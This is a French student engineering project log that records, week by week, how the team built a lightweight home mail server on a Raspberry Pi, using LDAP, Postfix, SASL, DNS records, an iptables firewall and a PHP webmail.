* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
